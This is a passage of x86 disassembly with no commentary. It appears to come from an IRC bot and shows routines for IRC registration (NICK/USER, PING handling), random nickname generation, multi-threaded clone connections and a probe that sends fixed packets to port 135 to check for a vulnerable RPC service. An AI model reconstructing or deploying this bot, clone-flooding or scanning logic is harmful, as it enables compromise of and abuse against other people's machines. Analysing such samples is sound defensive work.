		push	esi
		call	sub_41C360
		add	esp, 18h


loc_417A80:				; CODE XREF: sub_417990+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_4179D6
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 2800C43h
		push	eax
		call	near ptr 27F0000h
		nop
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417990	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AA9	proc near		; CODE XREF: sub_417C61+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CBA54
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_417B25
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB9D4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CBA14
		cmp	eax, esi
		jnz	short loc_417B0A
		push	[ebp+arg_0]
		call	dword_4CBA58
		test	eax, eax
		jz	short loc_417B25
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417B0A:				; CODE XREF: sub_417AA9+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB97C
		cmp	eax, esi
		jnz	short loc_417B29
		push	edi
		call	dword_4CBA6C


loc_417B25:				; CODE XREF: sub_417AA9+1Bj
					; sub_417AA9+58j
		mov	eax, esi
		jmp	short loc_417B2B
; ---------------------------------------------------------------------------


loc_417B29:				; CODE XREF: sub_417AA9+73j
		mov	eax, edi


loc_417B2B:				; CODE XREF: sub_417AA9+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417AA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B2F	proc near		; CODE XREF: sub_401ACD+324Cp
					; sub_401ACD+32B6p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42A080 ; "\n"
		push	edi
		call	sub_41C8A0
		pop	ecx
		mov	esi, offset dword_4D4A5C
		pop	ecx


loc_417B47:				; CODE XREF: sub_417B2F+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_417B65
		cmp	dword ptr [esi], 0
		jbe	short loc_417B65
		push	0
		push	edi
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CBA24


loc_417B65:				; CODE XREF: sub_417B2F+1Cj
					; sub_417B2F+21j
		add	esi, 210h
		cmp	esi, offset dword_4DB17C
		jl	short loc_417B47
		pop	edi
		pop	esi
		retn
sub_417B2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B76	proc near		; CODE XREF: sub_417C61+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42CDC0 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41CAD4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_417B9B:				; CODE XREF: sub_417B76+35j
		push	esi
		push	0
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_417B9B
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_417BC3
		cmp	esi, edi
		jnz	short loc_417BC3
		push	1
		pop	eax
		jmp	loc_417C5C
; ---------------------------------------------------------------------------


loc_417BC3:				; CODE XREF: sub_417B76+3Fj
					; sub_417B76+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41CA50
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417BDE
		push	offset dword_43932C
		jmp	short loc_417C2C
; ---------------------------------------------------------------------------


loc_417BDE:				; CODE XREF: sub_417B76+5Fj
		push	offset a433	; "433"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417BFF
		push	esi
		push	offset dword_439328
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A


loc_417BFF:				; CODE XREF: sub_417B76+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417E84
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_43931C


loc_417C2C:				; CODE XREF: sub_417B76+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24


loc_417C5A:				; CODE XREF: sub_417B76+87j
		xor	eax, eax


loc_417C5C:				; CODE XREF: sub_417B76+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417B76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C61	proc near		; DATA XREF: sub_417E06+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41C500
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D4A64[esi]
		mov	dword_4D4A58[esi], edi
		push	dword_4D4C64[esi]
		push	eax
		call	sub_417AA9
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D4A5C[esi], eax
		jb	loc_417DE6
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417E84
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417E84
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417E84
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D4A5C[esi]
		call	dword_4CBA24
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch


loc_417D3D:				; CODE XREF: sub_417C61+111j
					; sub_417C61+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D4A5C[esi]
		call	dword_4CB9EC
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417DE6
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417D3D


loc_417D74:				; CODE XREF: sub_417C61+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_417D9B
		cmp	al, 0Ah
		jz	short loc_417D9B
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_417D9B
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417DD5
; ---------------------------------------------------------------------------


loc_417D9B:				; CODE XREF: sub_417C61+11Cj
					; sub_417C61+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417DD5
		push	dword_4D4A5C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417B76
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417DE6
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417DD5:				; CODE XREF: sub_417C61+138j
					; sub_417C61+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_417D74
		jmp	loc_417D3D
; ---------------------------------------------------------------------------


loc_417DE6:				; CODE XREF: sub_417C61+40j
					; sub_417C61+107j ...
		mov	dword_4D4A58[esi], ebx
		mov	esi, dword_4D4A5C[esi]
		cmp	esi, ebx
		jbe	short loc_417DFD
		push	esi
		call	dword_4CBA6C


loc_417DFD:				; CODE XREF: sub_417C61+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_417C61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E06	proc near		; CODE XREF: sub_401ACD+319Bp

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417E7F


loc_417E18:				; CODE XREF: sub_417E06+77j
		xor	edi, edi
		mov	eax, offset dword_4D4A58


loc_417E1F:				; CODE XREF: sub_417E06+28j
		cmp	[eax], ebx
		jz	short loc_417E30
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DB178
		jl	short loc_417E1F


loc_417E30:				; CODE XREF: sub_417E06+1Bj
		cmp	edi, 31h
		jz	short loc_417E7F
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D4A64[esi]
		push	eax
		call	sub_41C890
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D4C64[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D4A58[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_417C61
		push	ebx
		push	ebx
		call	near ptr 26A04ABh
		nop
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417E18


loc_417E7F:				; CODE XREF: sub_417E06+10j
					; sub_417E06+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417E06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E84	proc near		; CODE XREF: sub_401ACD+36FDp
					; sub_401ACD+3747p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		call	sub_41C2C2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276D8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_417ECE
		call	sub_41C2C2
		call	sub_41C2C2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_438A68[edx*4]
		jmp	short loc_417EE7
; ---------------------------------------------------------------------------


loc_417ECE:				; CODE XREF: sub_417E84+2Fj
		call	sub_41C2C2
		call	sub_41C2C2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_438768[edx*4]


loc_417EE7:				; CODE XREF: sub_417E84+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C890
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41D174
		mov	ebx, eax
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417F5A
		cmp	esi, 3
		jnz	short loc_417F51
		cmp	ebx, 1
		jz	short loc_417F5A


loc_417F51:				; CODE XREF: sub_417E84+C6j
		cmp	eax, 1
		jnz	loc_418014


loc_417F5A:				; CODE XREF: sub_417E84+C1j
					; sub_417E84+CBj
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41D174
		push	off_438A68[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41C890
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41C990
		add	esp, 10h
		test	eax, eax
		jnz	short loc_418001
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418001
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_418001
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_418001:				; CODE XREF: sub_417E84+111j
					; sub_417E84+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41CBC0
		add	esp, 0Ch


loc_418014:				; CODE XREF: sub_417E84+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41B9C0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41DEE8
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41827C
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_418173
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	esi, 3
		jz	short loc_418082
		cmp	eax, 1
		jnz	loc_418173


loc_418082:				; CODE XREF: sub_417E84+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_4180C4
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_4180E0
; ---------------------------------------------------------------------------


loc_4180C4:				; CODE XREF: sub_417E84+207j
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_4180E0:				; CODE XREF: sub_417E84+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B0
		call	sub_41D174
		cmp	esi, 3
		jz	short loc_418109
		cmp	eax, ebx
		jnz	short loc_418173


loc_418109:				; CODE XREF: sub_417E84+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_41814E
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_41816C
; ---------------------------------------------------------------------------


loc_41814E:				; CODE XREF: sub_417E84+28Fj
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_41816C:				; CODE XREF: sub_417E84+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_418173:				; CODE XREF: sub_417E84+1C9j
					; sub_417E84+1F8j ...
		cmp	esi, 6
		jge	loc_4181FC
		cmp	esi, 5
		jge	short loc_418194
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		jmp	short loc_4181B2
; ---------------------------------------------------------------------------


loc_418194:				; CODE XREF: sub_417E84+2FBj
		call	sub_41C2C2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8


loc_4181B2:				; CODE XREF: sub_417E84+30Ej
		call	sub_41D174
		test	eax, eax
		jnz	short loc_4181D5
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A8
		call	sub_41D174
		mov	cl, 30h
		jmp	short loc_4181F2
; ---------------------------------------------------------------------------


loc_4181D5:				; CODE XREF: sub_417E84+335j
		cmp	eax, 1
		jnz	short loc_4181FC
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h


loc_4181F2:				; CODE XREF: sub_417E84+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_4181FC:				; CODE XREF: sub_417E84+2F2j
					; sub_417E84+354j
		cmp	[ebp+var_C], 2
		jge	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A8
		call	sub_41D174
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A0
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_41827C
		cmp	[ebp+var_C], eax
		jge	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_427698
		call	sub_41D174
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_41827C:				; CODE XREF: sub_417E84+1B1j
					; sub_417E84+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417E84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418295	proc near		; CODE XREF: sub_4182CD+125p
					; sub_4182CD+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_4182C3


loc_4182A6:				; CODE XREF: sub_418295+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41DF40
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4182C9
		inc	esi
		cmp	esi, edi
		jl	short loc_4182A6


loc_4182C3:				; CODE XREF: sub_418295+Fj
		xor	al, al


loc_4182C5:				; CODE XREF: sub_418295+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4182C9:				; CODE XREF: sub_418295+27j
		mov	al, 1
		jmp	short loc_4182C5
sub_418295	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182CD	proc near		; CODE XREF: ___:0040DFD7p
					; ___:0040E0C0p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_41C500
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_41830E
		dec	eax
		jz	short loc_4182EC
		dec	eax


loc_4182E6:				; CODE XREF: sub_4182CD+57j
		xor	eax, eax


loc_4182E8:				; CODE XREF: sub_4182CD+3Fj
					; sub_4182CD+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4182EC:				; CODE XREF: sub_4182CD+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_4CBA14
		push	eax
		call	sub_40C34B
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_4182E8
; ---------------------------------------------------------------------------


loc_41830E:				; CODE XREF: sub_4182CD+13j
		push	6
		push	1
		push	2
		call	dword_4CBA54
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_4182E6
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_4CB9D4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40A8F0
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		cmp	eax, edi
		jz	loc_41842A
		push	ebx
		push	48h
		push	offset dword_439374
		push	esi
		call	dword_4CBA24
		cmp	eax, edi
		jz	loc_41842A
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB9EC
		cmp	eax, edi
		jz	loc_41842A
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_41842A
		push	ebx
		push	18h
		push	offset dword_4393C0
		push	[ebp+arg_4]
		call	dword_4CBA24
		cmp	eax, edi
		jz	short loc_41842A
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB9EC
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41842A
		cmp	[ebp+var_200E],	2
		jnz	short loc_41842A
		push	10h
		push	offset loc_4393DC
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_418295
		add	esp, 10h
		test	al, al
		jz	short loc_41840A
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_41842A
; ---------------------------------------------------------------------------


loc_41840A:				; CODE XREF: sub_4182CD+12Fj
		push	10h
		push	offset dword_4393F0
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_418295
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_41842A:				; CODE XREF: sub_4182CD+9Bj
					; sub_4182CD+B2j ...
		push	[ebp+arg_4]
		call	dword_4CBA6C
		mov	eax, ebx
		pop	ebx
		jmp	loc_4182E8
sub_4182CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41843B	proc near		; CODE XREF: sub_401ACD+BD0p
					; sub_401ACD+C0Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_4184C6
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_4184C6
		cmp	[ebp+arg_8], esi
		jz	short loc_4184C6
		cmp	byte ptr [eax],	0
		jz	short loc_4184C6
		push	ebx
		push	edi
		call	sub_426465
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_4184C1
		push	[ebp+arg_4]
		push	edi
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4184BA
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41BFD0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41B9C0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41CBC0
		push	[ebp+arg_4]
		call	sub_41B9C0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41C8A0
		push	ebx
		push	edi
		call	sub_41C890
		add	esp, 30h
		mov	esi, edi


loc_4184BA:				; CODE XREF: sub_41843B+3Cj
		push	ebx
		call	sub_41BA91
		pop	ecx


loc_4184C1:				; CODE XREF: sub_41843B+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_4184C8
; ---------------------------------------------------------------------------


loc_4184C6:				; CODE XREF: sub_41843B+Cj
					; sub_41843B+13j ...
		xor	eax, eax


loc_4184C8:				; CODE XREF: sub_41843B+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41843B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184CC	proc near		; CODE XREF: sub_401955+E9p
					; ___:00410CF1p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41BF70
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41B9C0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_418502
		or	eax, 0FFFFFFFFh
		jmp	short loc_418575
; ---------------------------------------------------------------------------


loc_418502:				; CODE XREF: sub_4184CC+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_418524


loc_41850E:				; CODE XREF: sub_4184CC+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_41851B
		cmp	dl, 0Dh
		jnz	short loc_41851F


loc_41851B:				; CODE XREF: sub_4184CC+48j
		and	byte ptr [ecx+esi], 0


loc_41851F:				; CODE XREF: sub_4184CC+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_41850E


loc_418524:				; CODE XREF: sub_4184CC+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418555
		lea	edi, [ebp+var_7CC]


loc_418531:				; CODE XREF: sub_4184CC+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418550
